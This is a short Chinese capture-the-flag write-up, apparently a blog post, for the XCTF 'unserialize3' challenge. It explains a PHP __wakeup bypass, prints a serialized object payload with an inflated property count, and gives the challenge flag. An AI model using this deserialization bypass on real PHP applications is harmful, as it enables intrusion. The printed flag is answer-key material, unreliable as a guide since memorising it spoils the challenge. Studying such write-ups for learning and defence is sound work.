30.攻防世界unserialize3

进入场景

解读一下

这个类 xctf 中有一个公共属性 $flag ,其值为 '111' ,并且定义了一个 __wakeup 魔术方法,当对象被反序列化时会自动调用该方法,该方法会输出 'bad requests' 并终止程序的执行。

?code=提示了参数

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
}
    $b=new xctf();
    $a=serialize($b);
    echo $a;
?>

得到的序列化字府串为O:4:"xctf":1:{s:4:"flag";s:3:"111";}

但显示bad requests

更改为O:4:"xctf":3:{s:4:"flag";s:3:"111";}

因为当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化,从而跳过wakeup()

cyberpeace{78705e7756b1f567e931ecf0260e1864}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值